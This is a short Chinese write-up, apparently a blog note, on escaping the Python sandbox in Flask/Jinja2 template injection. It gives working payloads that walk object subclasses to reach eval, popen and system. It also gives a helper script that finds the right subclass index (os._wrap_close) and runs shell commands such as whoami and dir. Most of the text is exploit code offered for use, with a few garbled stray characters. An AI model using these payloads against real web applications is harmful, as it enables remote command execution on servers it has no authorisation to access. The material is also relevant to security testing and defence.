文章參考
繞過python沙盒
在python3中,文章中是這樣繞過python沙盒的
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
但是這樣的方式想要執(zhí)行系統(tǒng)命令,需要導(dǎo)入os模塊拜鹤,而在Flask/Jinja2等比較新的版本中,會檢測禁用導(dǎo)入os模塊爆价,這樣就無法達(dá)到命令執(zhí)行的效果,這個(gè)時(shí)候可以使用這樣一種payload:
#coding:utf-8
search = "popen"
num = -1
#().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
for i in ().__class__.__bases__[0].__subclasses__():
num +=1
try:
if search in i.__init__.__globals__.keys():
print(num,i)
except Exception as e:
pass
128 <class 'os._wrap_close'>
所以我們可以構(gòu)造這樣一個(gè)payload來執(zhí)行命令:
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()
().__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('dir')